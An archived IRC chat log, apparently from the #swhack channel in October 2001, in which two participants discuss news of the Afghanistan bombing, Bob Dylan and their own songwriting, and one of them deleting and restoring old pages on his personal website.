21:09:20 <sbp> I've been playing "Love And Theft" again and again... so many times! 21:09:39 <AaronSw> heh. 21:09:50 <sbp> * sbp puts it on again 21:10:10 <AaronSw> So what do you think of the news? 21:10:37 <sbp> er... the bombing? 21:10:40 <AaronSw> yeah 21:10:56 <sbp> interesting Pentagon conference by Donald Rumsfield 21:11:43 <sbp> On the one hand he was really specific, and was nearly letting things slip about ground forces, and on the other hand he was like, "I'm not answering that, next question please" 21:12:02 <AaronSw> Heh, it was definitely interesting. 21:12:25 <sbp> And then you had that other guy chatting about the ration drops. Weird conference 21:14:58 <AaronSw> Yeah: 21:15:04 <AaronSw> """The yellow plastic packets have a picture of a smiling person 21:15:05 <AaronSw> eating from a pouch, a stencil of an American flag and the greeting 21:15:05 <AaronSw> in English, ``This food is a gift from the United States of 21:15:05 <AaronSw> America.'' The United States has a stockpile of about 2 million of 21:15:05 <AaronSw> the pouches, Quigley said.""" 21:15:39 <AaronSw> We should send those out more often. 21:15:56 <sbp> an English greeting? That's going to fox them: they're being sent by America 21:16:12 <AaronSw> Heh. 21:16:34 <sbp> what's in the packets, d'ya reckon? 21:16:50 <AaronSw> Rice says the news website. 21:17:01 <AaronSw> """The food, wrapped so that one packet has enough for one person 21:17:01 <AaronSw> for one day, is rice-based and does not contain any animal products 21:17:01 <AaronSw> so as not to violate any religious or cultural practices. Muslims, 21:17:02 <AaronSw> for example, do not eat pork.""" 21:18:07 <sbp> Hmm... 21:18:13 <AaronSw> """By the grace of God, Mullah Omar and bin Laden are alive,'' Ambassador Abdul Salam Zaeef [Taliban's ambassador to Pakistan] told reporters. There was no way to confirm his statement.""" 21:18:28 <AaronSw> All this from http://dailynews.yahoo.com/ 21:19:08 <AaronSw> That movie from Bin Laden was weird... looked like he filmed it with iMovie 2 or something. 21:24:57 <sbp> Yeah, it was rather odd 21:24:59 <sbp> Cool: http://www.republika.pl/bobdylan/lat/GB.htm 21:27:09 <AaronSw> Neat. It was cool seeing him on the Oscars 21:27:37 <sbp> Gotta run 21:27:39 <sbp> sbp has quit 21:32:57 <cdlu> [GlobalNotice] We're sorry yet again but services should be up after a brief netsplit. Have a nice day. 21:33:11 <AaronSw> AaronSw has quit 21:33:27 <AaronSw> AaronSw has joined #swhack 21:41:26 <AaronSw> AaronSw has quit 21:41:31 <ChanServ> ChanServ has changed the topic to: 21:41:49 <AaronSw> AaronSw has joined #swhack 21:46:45 <AaronSw> AaronSw has changed the topic to: TiVo Hacking Extravaganza! 22:06:54 <sbp> sbp has joined #swhack 22:09:29 <AaronSw> wb 22:09:43 <AaronSw> * AaronSw plays some more Bob Dylan 22:11:02 <sbp> cool. I'm just reading some more interviews 22:11:29 <sbp> I really like the new album... it has a weird sense of the past in it. A kind of music that I've been looking for for a while; or one aspect of it, at least 22:12:48 <AaronSw> Hmm, I thought the stuff you pointed me to was old Dylan, but it gives it a different spin to discover it's quite new. 22:14:51 <sbp> Some of it's old, some of it's new. I gave you a mix. A beginners mix 22:15:08 <sbp> it's better to pick up an album and work through it... 22:15:17 <AaronSw> Yeah. 22:15:30 <sbp> I don't often think "oh, I'll put on such and such a Dylan song"; I'm usually thinking in terms of albums or periods 22:15:51 <AaronSw> Interesting, I'm so disassociated here with my MP3s. ;-) 22:16:05 <sbp> :-) 22:16:18 <AaronSw> Hmm. PMNL is very much like tav's Plexnames idea... it's good to rediscover all this stuff with a new spin because of background. 22:16:24 <AaronSw> Human types: Did you get that letter from <pn>HoneyBunny</pn>? 22:16:24 <AaronSw> Machine sends: Did you get that letter from <key>cap://...</key>? 22:16:30 <AaronSw> Machine receives: Did you get that letter from <key>cap://...</key>? 22:16:31 <AaronSw> Human reads: Did you get that letter from <pn>Ms. Jones</pn>? 22:16:51 <AaronSw> * AaronSw listens to Aqua for the first time. 22:17:07 <sbp> resist the temptation! 22:17:26 <AaronSw> Why? 22:18:01 <sbp> * sbp won't even bother to rate the music 22:18:07 <AaronSw> lol 22:18:29 <AaronSw> I was worried to see that it was listed next to Britney Spears, but tav likes it. 22:20:08 <sbp> Hmm... 22:22:15 <AaronSw> "The apostrophe-s trick for naming paths is taken from Smalltalk-72." 22:22:37 <AaronSw> Hmm: query's Query's dothetriple 22:24:11 <AaronSw> * AaronSw retreats back to the Beatles 22:24:23 <sbp> what album? 22:24:37 <AaronSw> "You Know My Name" 22:25:16 <sbp> Look up the number... 22:26:13 <AaronSw> I think they got the single today... it should be around here somewhere... 22:30:24 <tav`> tav` has quit 22:30:38 <tav> tav has quit 22:31:37 <SeanP> SeanP has joined #swhack 22:31:53 <SeanP> that imposter! 22:32:03 <sbp> sbp has quit 22:32:08 <SeanP> SeanP is now known as sbp 22:32:39 <sbp> * sbp has written a couple of fairly good songs recently 22:32:49 <AaronSw> AaronSw has quit 22:32:50 <AaronSw> AaronSw has joined #swhack 22:33:12 <sbp> Cuckoos In May, Mr. Brady's Envelope 22:33:27 <AaronSw> Really? You should record them and stick them up on the 'Net. 22:33:33 <sbp> dang microphone's broken 22:33:46 <AaronSw> shoot. 22:33:54 <sbp> they're not of the quality of Alexandr'a Views, but they're good all the same 22:33:58 <AaronSw> * AaronSw flips the record over to the "Let it Be" side. 22:34:00 <sbp> (IMO) 22:34:40 <AaronSw> Are any of these vancable? 22:34:44 <sbp> No 22:34:53 <sbp> Purposefully 22:35:29 <sbp> I don't really care what other people thing of them, as much as I'd want them to believe I do 22:35:34 <sbp> s/thing/think 22:36:33 <sbp> of course, I still played them to people, and I really wanted to know what they thought... but you know 22:37:07 <AaronSw> Yeah. 22:37:33 <sbp> there aren't many people whose musical opinions I really "trust", 'cause music is mainly a personal thing. Not always, but usually - and sometimes you can connect to people on it, and sometimes you can't 22:37:45 <AaronSw> I've always found people thoughts on releasing code, writing, etc. interesting. 22:38:00 <sbp> it's all part of the same thing 22:38:07 <AaronSw> Indeed. 22:38:10 <AaronSw> You need a musical collaborative filtering thingy. ;-) 22:38:21 <sbp> yeah 22:38:37 <sbp> perhaps I will put something onto the Web... lemme find something 22:39:11 <AaronSw> I pour out a bit of my soul, and for what? So other people can criticize it. 22:39:44 <sbp> Heh! 22:39:51 <sbp> Yes, oh yes... 22:40:27 <sbp> I play something, and people will be like "it's alright. What do you think of the new Travis album?" 22:42:38 <AaronSw> AaronSw has quit 22:42:57 <AaronSw> AaronSw has joined #swhack 22:43:02 <sbp> wb 22:43:23 <AaronSw> i have way too much stuff to do :( 22:43:25 <AaronSw> Wonder why I was disconnected :( 22:43:35 <AaronSw> thanks 22:43:44 <sbp> * sbp decides to put a chords only version of Daydreams up 22:43:45 <AaronSw> "I play something, and people will be like "it's alright. What do you think of the new Travis album?"" 22:43:49 <AaronSw> Heh. 22:44:18 <sbp> :-) 22:44:30 <AaronSw> heh. 22:44:42 <sbp> Daydreams: it's a much-shortened version, has no lead guitar bit, and has half a minute of tuning at the end 22:45:32 <sbp> * sbp uploads 22:45:37 <sbp> it's about 1MB 22:46:19 <AaronSw> cool 22:48:09 <AaronSw> Ritchie: that's one of the people I need to meet in this lifetime. 22:48:42 <AaronSw> Dennis Ritchie, that is. 22:53:28 <AaronSw> * AaronSw listens to "Daydreams" 22:53:39 <AaronSw> Wow, this is really good. 22:53:46 <sbp> * sbp laughs 22:53:52 <AaronSw> With a lead guitar and singer on top of it, it could really be something. 22:53:58 <sbp> "what do you think of the new Travis album?" 22:54:06 <AaronSw> heheh. 22:54:10 <AaronSw> No, seriously. 22:54:26 <sbp> well, it normally does have a lead guitar... dunno about a singer. It's not really ever had any proper lyrics 22:54:42 <sbp> I love the lead guitar part... you've got the naked version there 22:54:54 <AaronSw> Yeah, I can almost feel the lead guitar. 22:55:20 <AaronSw> So I'm daaaaaaydreaming... 22:55:44 <sbp> Hmm... actually, the title has never been a part of the song, and I've never been utterly impressed with the title 22:56:35 <sbp> it comes from a practice session from Westward Shores; I was meant to play something, but I was looking out the window at the time. My excuse was that I was daydreaming 22:56:45 <AaronSw> :-) 22:57:12 <sbp> I guess Westwards Shores was originally called Daydreaming... er... hang on, no it wasn't: it was called Outsider. Terrible title: Westward Shores is much better 22:57:34 <sbp> * sbp wonders if he has an RA of Westward Shores somewhere 22:57:35 <AaronSw> I really screwed up a class drama thing once by missing my key line since someone was distracting me. 22:57:51 <sbp> Heh! What were they doing? 22:58:00 <AaronSw> It was a skit on the Black Plague. 22:58:08 <AaronSw> And I was supposed to say "the plague! The plague is coming!" 22:58:27 <AaronSw> And I didn't, then I remembered that I didn't and I set it at the wrong time, and *really* screwed things up. 22:58:33 <AaronSw> s/set/said/ 22:58:46 <sbp> classy 22:59:08 <AaronSw> Well, it's not my fault -- they were trying to serve me cranberry sauce and I was telling them to bugger off. 22:59:22 <AaronSw> Dennis Ritchie: "The kind of thing that's going on that I think is interesting is in the general category of ubiquitous computing. The specific thing is sort of a set of protocols, a framework for applications that are kind of accessible anywhere. " 22:59:28 <AaronSw> - http://www.linux-mag.com/cgi-bin/printer.pl?issue=2001-06&article=ritchie 23:00:01 <sbp> on the only current recording of Daydreams with the lead guitarist present, I totally went into the wrong sequence somewhere... thaty and the microphone buzzing, and the lethargic pace are just small blemishes on a cool recording. Dunno where I put it though... 23:00:08 <sbp> Ah, the Ritchie guy 23:00:28 <AaronSw> Heh. 23:01:03 <AaronSw> Heheh: " [Ken] got enormous amounts of hate mail for being quoted [as saying he didn't think very much of the quality of the Linux kernel code]." 23:01:15 <AaronSw> That's no way to treat a hero like Ken! 23:01:22 <sbp> Ken? 23:01:36 <AaronSw> Ken Thompsan -- Richie's partner. 23:01:42 <AaronSw> err Thompson. 23:02:15 <AaronSw> He and Richie cowrote Unix. 23:03:12 <sbp> Unix? 23:03:36 <AaronSw> Yeah, that Unix-y thing -- ever heard of it? 23:03:53 <AaronSw> It's occasionally misspelled as "Linux". 23:03:53 <sbp> a type of Pizza? 23:04:06 <sbp> Oh, you mean the album 23:04:15 <sbp> How can anyone write a Pizza? 23:04:21 <AaronSw> No, no, the CD. 23:04:54 <sbp> Corner Dove? 23:05:16 <AaronSw> I mean OS. 23:05:42 <sbp> obviously: sure 23:06:22 <sbp> * sbp goes lyric hunting 23:08:12 <sbp> neat:- 23:08:14 <sbp> [[[ 23:08:14 <sbp> 3) Daydreams. 23:08:15 <sbp> Previously called: Seventh Dream, Southern Burlesque (The Casino Song). 23:08:20 <sbp> ]]] 23:08:32 <sbp> 2000-02 23:09:07 <sbp> Ah, Paper Rain. That's another good song (our bassist's favourite) 23:09:31 <sbp> Hmm, my lyrics are crud. Really awful sometimes 23:09:48 <AaronSw> Heh. 23:10:08 <AaronSw> sugar plum fairy, sugar plum fairy! 23:10:17 <sbp> :-) 23:10:28 <sbp> Ooh, Blue Fields, Harbour Lights... 23:11:41 <sbp> the titles vaguely reflect the songs. Dunno why I settled on light rock 23:13:10 <AaronSw> "Light Rock" -- that'd be a good song. 23:13:19 <sbp> there was another band around called Rubria (or Rubrium). They were really good... not competitors (different venue) 23:13:29 <sbp> Light Rock: yeah! 23:14:08 <sbp> They did some really good songs. The heavier bit from "Something Sweet (Sweeter)" is just incredible 23:15:02 <AaronSw> Cool. 23:15:14 <AaronSw> I wish I was a musician. 23:15:28 <AaronSw> I'm going to try and sound out some Beatles songs on my piano -- maybe that'll cheer me up. 23:15:30 <sbp> Hmm... what other songs did they do... Nellie And The Bees, Queen Of Fire, Amphibian's Love... 23:15:41 <sbp> Yeah, do Let It Be on the piano 23:15:41 <AaronSw> They've got good names. 23:16:16 <sbp> well, I dunno about the names. I've never been fond of song names... to me they're just labels so I don't have to hum the things to get people rexognizing them 23:16:37 <sbp> to the people behind the Rubria songs... I dunno. I think he thought that they were important; who knows? 23:17:01 <sbp> Model Aeroplanes was another 23:17:14 <sbp> ooh, and Creatures is another good one of mine 23:18:14 <sbp> perhaps you could write lyrics 23:18:34 <AaronSw> Hmm. 23:18:39 <AaronSw> I might be good at lyrics. 23:18:54 <AaronSw> I dunno, lyrics are poetry, really, and I've never figured out how people can judge poetry. 23:19:10 <sbp> you don't have to judge it, just write it 23:19:33 <AaronSw> Yeah, I know. 23:19:48 <AaronSw> But people will say, "He writes really awful poetry" and it seems just fine to me. 23:19:59 <AaronSw> Of course no one says that about my poetry ;-) 23:20:04 <AaronSw> Especially when I sing it. ;-) 23:20:27 <sbp> well, that's the whole folk song thing that I was talking about 23:20:36 <AaronSw> You were? 23:20:40 <sbp> yeah 23:21:06 <sbp> I wrote so many lyrics. I spent days writing lyrics, getting other people to write lyrics 23:21:28 <sbp> when people asked who I was and what it was I did, I'd say "Sean B. Palmer, lyricist" 23:21:36 <AaronSw> Heh. 23:21:49 <sbp> I have piles of notepaper with lyrics and chords on them... piles 23:21:55 <AaronSw> Hmm, what do you say now? 23:22:05 <AaronSw> "Sean B. Palmer, Semantic Web Hacker"? 23:22:19 <sbp> well, if I were writing songs, I'd say, "Sean B. Palmer, songwriter" 23:22:54 <sbp> but I probably just say, "Sean B. Palmer" 23:23:16 <sbp> "Sean B. Palmer, professional hobo" 23:23:25 <sbp> yeah! that's it 23:23:49 <sbp> you're alright, you don't have to make up titles 23:23:54 <AaronSw> Heh. 23:23:58 <sbp> Fuck Maestro of the Mid-West 23:24:07 <sbp> lol! I meant Funk... 23:24:16 <sbp> * sbp cracks up laughing 23:24:27 <AaronSw> LOL! 23:24:44 <AaronSw> WFM! 23:24:48 <sbp> perhaps "Fuck" would be more impressive to say in bars 23:25:04 <sbp> * sbp is glad he didn't jumble up bars 23:25:15 <AaronSw> Heheh. 23:25:31 <sbp> anyway, you gonna be writing lyrics, or what? 23:27:10 <AaronSw> I dunno, I need a song for that. 23:27:23 <AaronSw> * AaronSw pulls out "She Loves You" 23:27:38 <AaronSw> Man, I haven't played this for... must be 4 years now. 23:28:03 <sbp> you still there? 23:28:09 <sbp> my computer is doing odd things 23:28:25 <AaronSw> Yep, I'm here. 23:28:31 <sbp> Hmm... 23:28:49 <sbp> whenever a computer crashes, mIRC is always the last thing to go. Solid code 23:29:02 <sbp> I'd better reboot 23:29:13 <AaronSw> OK, see you soon. 23:32:16 <sbp> sbp has quit 23:32:20 <SeanP> SeanP has joined #swhack 23:32:36 <SeanP> SeanP is now known as sbp 23:32:37 <sbp> sbp has quit 23:32:46 <sbp> sbp has joined #swhack 23:32:50 <AaronSw> wb 23:33:06 <sbp> ty 23:33:11 <sbp> * sbp continues playing "Love And Theft" 23:33:16 <AaronSw> np 23:33:19 <AaronSw> gg - dt 23:33:33 <AaronSw> dinner time 23:33:38 <sbp> ah 23:33:41 <sbp> gb 23:33:44 <AaronSw> gb? 23:33:50 <sbp> goodbye 23:33:53 <AaronSw> cya 23:33:54 <sbp> c'ya 23:34:00 <sbp> :-) 23:34:05 <AaronSw> :-) 23:34:12 <AaronSw> I'm not too bad at "She Loves You" 23:34:16 <AaronSw> Even after all these years. 23:34:26 <AaronSw> ok, c'ya 23:34:32 <sbp> Cool; a bit of paino playing is good for a person 23:34:33 <sbp> c'ya 23:34:37 <sbp> er... piano 23:34:39 <AaronSw> Indeed 23:34:57 <sbp> go get dinner! 23:35:03 <AaronSw> heh, bye 23:35:14 <sbp> c'ya 23:38:54 <sbp> sbp has quit 23:58:19 <AaronSw> * AaronSw is back 23:58:59 <sbp> sbp has joined #swhack 23:59:19 <sbp> * sbp updates his homepage 23:59:22 <AaronSw> wb 23:59:26 <AaronSw> you have impeccable tiing 23:59:27 <sbp> ty 23:59:29 <AaronSw> err timing 23:59:31 <sbp> much cooler: http://purl.org/net/sbp/ 23:59:48 <AaronSw> you should archive your homepage to make that url more persistent 23:59:55 <sbp> I do archive it ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������2001-10-08.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000222133�07360433452�012010� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:00:43 <logster> logster has joined #swhack 00:00:43 <forward.openprojects.net> topic is: TiVo Hacking Extravaganza! 00:00:43 <forward.openprojects.net> Users on #swhack: logster @sbp AaronSw deltab 00:00:48 <AaronSw> LOL, what a homepage! 00:00:55 <AaronSw> "An unofficial product of the World Wide Web" 00:00:58 <AaronSw> <sbp> good, innit 00:00:58 <sbp> good, innit 00:01:07 <sbp> <sbp> I want to put a picture on it, though... 00:01:11 <sbp> I need one of a duck 00:01:14 <AaronSw> Where's the archived version? 00:01:34 <sbp> on my Hard Drive! 00:01:42 <AaronSw> Oh, pfft. 00:01:45 <AaronSw> That's no good. 00:01:50 <sbp> no good to you 00:02:02 <AaronSw> I mean for in the future, when people read these logs -- they'll want to see what we're laughing about. 00:02:10 <AaronSw> You should archive this homepage so people know. 00:02:18 <sbp> well, that page will be up there. It's finished now 00:02:32 <AaronSw> Oh, not forever, I hope. 00:02:41 <sbp> as long as my server runs, I guess 00:02:47 <AaronSw> And you destroyed the WebPad! 00:02:52 <AaronSw> * AaronSw cries 00:02:55 <sbp> WebPad? 00:03:11 <AaronSw> Yeah, /sbp/?fooo 00:03:27 <AaronSw> Good thing I have it all in my archiver. 00:03:35 <AaronSw> So much information...lost 00:03:38 <sbp> that was just junk though... there was no good information in there 00:03:51 <AaronSw> How can you decide that?! 00:03:59 <sbp> the only good information is "here is a link to something that I do, here is a link to my email address" 00:04:04 <sbp> it's mine to decide 00:04:10 <AaronSw> No it's not! 00:04:21 <AaronSw> You are not arbiter of what information the World should find Useful. 00:04:27 <sbp> * sbp wonders if Aaron likes the new page or not :-) 00:04:33 <sbp> oh, of course not... 00:04:41 <sbp> but I'm the arbiter of what appears on infomesh.net 00:04:47 <AaronSw> I like it, but only as an April Fool's joke. 00:04:54 <sbp> * sbp looks at the calendar 00:04:57 <AaronSw> Well sure, but destroying all that Useful Information. 00:05:03 <AaronSw> ... 00:05:08 <AaronSw> it's just so sad 00:05:22 <sbp> cite me some useful information! no one will miss it. If they do, they can email me 00:05:27 <AaronSw> And you threw your persistence policy out the window. 00:05:29 <AaronSw> ! 00:05:36 <AaronSw> What about my links to http://infomesh.net/sbp/?TheB ? 00:05:57 <sbp> actually, that still stands. My contract was, "A Homepage Of Sean B. Palmer". The links to the PURL still work perfectly 00:06:03 <AaronSw> And you've wiped "Bertie The Agoraphobic Penguin" off the face of the Earth. 00:06:26 <sbp> that didn't exist anyway 00:06:31 <AaronSw> Yes it did! 00:06:37 <sbp> I didn't link to it. I don't even think it's online (is it?) 00:06:43 <AaronSw> yep it is.... 00:06:54 <sbp> seriously? I can't remember publishing it... 00:07:00 <AaronSw> You didn't. 00:07:43 <sbp> anyway, it's no loss. It wasn't a good story anyway. Satire? Pff... I've seen better satire conducted on Temptation Island 00:07:58 <sbp> (just for the record, I have not watched that sleazy pile of crap) 00:08:07 <AaronSw> heheh 00:08:10 <sbp> :-) 00:08:32 <sbp> When the call something a sleazy piece of crap in the Simpsons blackboard gag, you know it must be pretty sleazy! 00:08:36 <AaronSw> I can't believe you! Information-killer! 00:08:53 <sbp> I put it out to graze/stud! 00:09:23 <AaronSw> stud? 00:09:29 <sbp> Hmm... with one click, I could delete the whole lot 00:09:38 <sbp> can information mate? 00:09:53 <AaronSw> Nah, you can't delete it -- I still have most of it. 00:10:51 <sbp> aw, it won't even let me delete it 00:11:15 <AaronSw> I hate it when folks try to kill good information. I thought you were above that. 00:11:16 <sbp> ooh, I can delete /2001/ 00:11:39 <AaronSw> This is like the father in "Maus" who threw out all the valuable historical records. 00:11:43 <deltab> sbp: what happened to the info on @@? 00:11:58 <sbp> Hmm... no I can't. Bugger 00:12:05 <sbp> @@: I'll redirect it in a second 00:12:06 <AaronSw> http://purl.org/net/@@ -- that was useful! 00:12:24 <AaronSw> Threw it all out in a fit of anger! 00:12:42 <sbp> pffff, anger 00:12:43 <AaronSw> The information isn't yours to destroy -- it belongs to the Web -- the Web deserves it! 00:13:21 <sbp> wow, my FTP server is really smegged up... 00:13:26 <sbp> She Belongs To Me 00:14:03 <AaronSw> Heh: "Everything to do with the SW at the moment is so "data orientated" and unfriendly (with good reason). So I wanted to create a nice little example of what the SW could do for the people it is being made for: us!" 00:14:56 <AaronSw> Huh?: "This is an example of the brand new HyperText system being developed by Tim Berners-Lee and Dan Connolly. It uses the first ever SGML DTD developed for HTML (by Dan Connolly)." 00:14:59 <AaronSw> - http://infomesh.net/2000/hypertext/WWW/MarkUp/ 00:16:03 <AaronSw> I love this line, though: "That's one of my email addresses, but on weekends I let it out to a takeaway firm, so only enquire about menu prices during the week." 00:16:42 <AaronSw> Shoot! My archiver was off! Grrr. 00:18:29 <sbp> * sbp tries to recover @@ 00:18:43 <AaronSw> Hmm, you destroyed http://www.waptechinfo.com/ too? 00:19:18 <AaronSw> Sean B. Palmer - President WAP Tech Info on design: http://infomesh.net/2000/xhtml/eod/ 00:20:17 <AaronSw> "I estimate that this document is about 1-3 years ahead of its time. This will soon be the location of an entire site dedicated to web design of the future, through XHTML 2.0 and beyond!" - http://infomesh.net/2000/xhtml/exp/ 00:20:32 <sbp> * sbp should remove all of that crap 00:20:37 <AaronSw> No! 00:22:28 <sbp> * sbp is trying to, but my computer is making it difficult 00:22:49 <AaronSw> You're on a mad rampage today. Who's around? I need them to tackle you to the ground to stop you! 00:23:11 <deltab> you deleted TheSimpsons! 00:23:29 <sbp> I did? So I did 00:23:54 <AaronSw> At least we still have http://infomesh.net/2000/xhtml/homer/ 00:24:01 <sbp> I cannot understand why people are so attached to the stuff that I've just temporarily deleted! 00:24:08 <AaronSw> temporarily? 00:24:10 <sbp> that's one of the things I'm trying to delete right now 00:24:26 <sbp> well, it's still there. I just screwed it up a bit 00:24:33 <sbp> well, some of it's still there 00:24:59 <sbp> wow, it's actually deleting /2000/xhtml/ 00:25:10 <AaronSw> good thing I archived that already. 00:25:13 <sbp> * sbp wonders if he has a copy... didn't mean to delete it just yet 00:25:22 <deltab> This page has not been found on the requested server (infomesh.net). It 00:25:22 <deltab> may be that the link you have followed is incorrect, or in the worst case, 00:25:22 <deltab> this page has moved. If you think that this may be the case, please 00:25:22 <deltab> contact the site's owner, because he knows that Cool URIs Don't Change. 00:25:37 <sbp> heh, heh. Strangely ironic, eh? 00:25:44 <AaronSw> Yeah, really. 00:25:58 <AaronSw> Did you forget to take your medicine or something? You've gone completely insane! 00:26:15 <sbp> I really hate that old stuff, so its gone. What's the problem? 00:26:29 <AaronSw> Get your mum to smack you really hard. Maybe you'll wake up. 00:26:33 <sbp> the WebPad stuff is still there. I'm just kidding with that 00:26:50 <sbp> it'll take about two mouse clicks to restore it... 00:26:57 <AaronSw> You sound like one of those mad dictators who hold the hero hostage and say "I really hate that country, so its gone. What's the probelm?" 00:27:04 <AaronSw> (in a movie of course) 00:27:21 <sbp> ta da 00:27:32 <sbp> http://infomesh.net/sbp/?TheSimpsons 00:27:55 <AaronSw> Phew. 00:28:09 <sbp> a couple more clicks, and it's gone again! Wow, the power 00:28:19 <AaronSw> Ugh! 00:29:18 <AaronSw> Well, I got up to Kashmir. 00:29:19 <sbp> seriously though, I'm looking to streamline the whole site causing as little damage as possible 00:29:41 <AaronSw> I hope the world will not blame me too much for not acting faster and getting more stuff. 00:30:06 <sbp> I doubt it... it's really just junk. And it's my junk (c) 00:30:34 <sbp> I mean, honestly! There's not much value in it. I want to make a new site that has all of the good bits in it, but with none of the crap 00:30:54 <AaronSw> Fine, do so -- but don't destroy the old! 00:32:28 <sbp> well, I'm going to restore homer, but none of the other xhtml crap 00:33:09 <sbp> ta da: http://infomesh.net/2000/xhtml/homer/ 00:33:28 <sbp> quite a cool page, that 00:34:00 <sbp> Hmm... whilst I'm cleaning up, what other embarrasing stuff can I delete... 00:35:26 <sbp> ah, of course 00:36:10 <AaronSw> grrr 00:36:12 <sbp> Hmm... why isn't that working? 00:36:48 <sbp> oh, of course... oops 00:36:57 <sbp> there, xWebL has gone! 00:37:31 <AaronSw> Ha! Not so fast! 00:37:51 <sbp> ? 00:37:58 <AaronSw> I've archived your whole site! 00:38:16 <sbp> but what can you do with it? 00:38:22 <sbp> it's mine, copyrighted 00:38:35 <AaronSw> I'll upload it to Sealand. 00:38:42 <sbp> Sealand? 00:38:52 <AaronSw> HavenCo -- where they don't recognixe copyright. 00:39:03 <sbp> Hmm... 00:39:11 <sbp> I can still delete infomesh.net at the root 00:39:47 <sbp> so it'll be effectively useless 00:39:57 <AaronSw> Infomesh? 00:40:17 <sbp> yeah 00:40:35 <AaronSw> But it'll all still be at HavenCo! 00:40:49 <sbp> so? people won't know it's there 00:40:56 <AaronSw> I backlink it so they will! 00:41:31 <sbp> backlink? 00:41:46 <AaronSw> Well if they do link: searches on google, they'll find it. 00:41:57 <AaronSw> I'll tag them in RDF too. 00:42:18 <sbp> O.K. then, I'll do it 00:43:10 <AaronSw> No! 00:43:13 <AaronSw> I was just kidding! 00:44:03 <sbp> * sbp gets the necessary tools 00:44:14 <AaronSw> Quick, call his Mom! 00:45:56 <sbp> argh, it won't let me delete huge files over IE 00:46:16 <AaronSw> Ugh, I didn't get all of it downloaded. 00:47:55 <sbp> what did you miss? 00:48:05 <AaronSw> I don't know -- it's all screwed up now. 00:48:09 <sbp> good 00:48:13 <AaronSw> Looks like I missed probably most of it. 00:48:30 <AaronSw> good? why? 00:48:45 <AaronSw> You know you'll regret all this in the morning. 00:48:47 <sbp> no trace of it then 00:49:02 <sbp> Nah, I won't regret it. Why would I regret it? And anyway, it is the morning here 00:49:17 <AaronSw> Ugh, it's worse than I've thought. 00:49:33 <AaronSw> You've really got it, haven't you. 00:49:49 <sbp> got what? 00:49:54 <AaronSw> "Be the first one on your block to have your boy come home in a box!" 00:50:00 <AaronSw> insanity, that's what. 00:50:11 <sbp> nah; cool experiment, though 00:50:31 <AaronSw> How so? 00:50:56 <sbp> just wondered how persistent my information was. In some ways, it's too persistent, in other ways not enough 00:51:18 <AaronSw> Heh: wiki.wiki.wah.wah.worldwidewiki.com 00:51:39 <sbp> Too persistent: stuff like the old 2000 stuff which I really regret is now lodged in these bloody chatarchives. Not persistent enough: I deleted the WebPAd, and it's gone 00:51:59 <AaronSw> You deleted the WebPad?! 00:52:28 <sbp> theoretically 00:52:34 <AaronSw> http://infomesh.net/sbp/?KillMeNow 00:52:52 <sbp> and the xWebL stuff too 00:53:09 <sbp> and most of /2000/xhtml/, except for /2000/xhtml/homer/ 00:53:51 <sbp> about how much of the site have you archived? in percentage 00:54:04 <AaronSw> I have no idea! 00:54:18 <AaronSw> Heh, Bob Dylan just sang: "I've got no idea." 00:54:31 <AaronSw> "... Or maybe I do, but I'm just really not sure." 00:54:40 <sbp> Neat! 00:54:46 <sbp> Sugar Baby! 00:54:49 <AaronSw> I have no way to know how big your site is. 00:54:55 <sbp> I love that song... 00:55:01 <sbp> I just played it a few minutes ago 00:55:09 <sbp> big: about 30MB, I think 00:55:33 <sbp> actually, what song are you listening to? 00:55:45 <AaronSw> "Highlands" 00:55:54 <AaronSw> from "Time Out Of Mind" 00:56:12 <AaronSw> "She says 'I know you're an artist, draw a picture of me'" 00:56:23 <sbp> I don't do sketches from memory 00:56:27 <AaronSw> Exactly. 00:56:41 <AaronSw> So timely. 00:56:44 <AaronSw> * AaronSw cries again 00:56:49 <sbp> yeah... sorry, I was humming Sugar Baby, and sang the lyrics to that song. Weird 00:57:07 <sbp> Which ones have you read then? 00:57:20 <AaronSw> Huh? 00:57:26 <sbp> (it's in the song) 00:58:26 <sbp> She said you don't read women authors do you? At least that's what I think I hear her say. I say how would you know, and what would it matter anyway? She said you just don't seem like you do. I said, you're way wrong. "she said, 'well which ones have you read then?'" 00:58:34 <sbp> etc. 00:58:48 <AaronSw> Yeah... just got there now. 00:58:51 <sbp> :-) 00:58:57 <AaronSw> I say "Read Erica Jong" 01:00:12 <sbp> that's a cool song too; the length and album placement is reminiscent of Sad Eyed Lady 01:00:27 <sbp> but it's certainly it's own song. Just Bob telling a story 01:00:56 <sbp> what stuff did I delete, again? 01:01:09 <AaronSw> umm, the SBP webpad 01:01:18 <AaronSw> and /2000 01:01:23 <sbp> and xWebL 01:01:27 <AaronSw> yep 01:01:31 <sbp> I've restored the WebPad and xWebL 01:01:46 <sbp> bollocks to /2000/xhtml/ 01:02:17 <AaronSw> Heh. 01:02:43 <sbp> but one day, I might have to get rid of it all 01:02:49 <AaronSw> Why? 01:03:05 <sbp> my local archives are smegged, and they're planning to move the site soon 01:03:21 <sbp> so I might have to reupload the stuff, and stuff will go missing 01:03:28 <AaronSw> Can't you let me do a big FTP download or something? 01:03:45 <sbp> that's a last resort, if you'd be willing to do it :-) 01:03:52 <AaronSw> Of course! ;-) 01:03:57 <sbp> cheers 01:04:07 <sbp> but really, it's bad management on my behalf 01:04:26 <sbp> I agree with your "flat server" proposal (for small sites like mine and yours) 01:04:40 <AaronSw> See how they learn! ;-) 01:04:41 <sbp> and am thinking of starting again with a new domain, and a new filing system 01:04:53 <sbp> hence the experiment today 01:05:07 <sbp> I'm not fond of the way I've done things at infomesh.net 01:05:17 <AaronSw> So how would you have done it? 01:05:28 <sbp> I 01:05:36 <sbp> I'm writing a document now about it 01:05:48 <sbp> I figure: SSI is harmful 01:05:57 <AaronSw> Why? 01:06:02 <sbp> so are file extensions. so that rules out ASP... 01:06:21 <sbp> because they allow you to put files in all sorts of weird places, and they don't port 01:06:29 <sbp> ASP => PHP doesn't go 01:07:19 <sbp> so I reckon one flat database of a host of XHTML/text files is the best option 01:07:39 <sbp> multimedia can go somepace else, but I'm not keen on hosting huge chunks of multimedia 01:08:01 <sbp> there should be just a few base kick-ass styles 01:08:01 <AaronSw> Heh, a lot like a Blogspace, eh? ;-) 01:08:14 <sbp> Blogspace: yeah, but without any server trickery 01:08:27 <sbp> I don't have access to 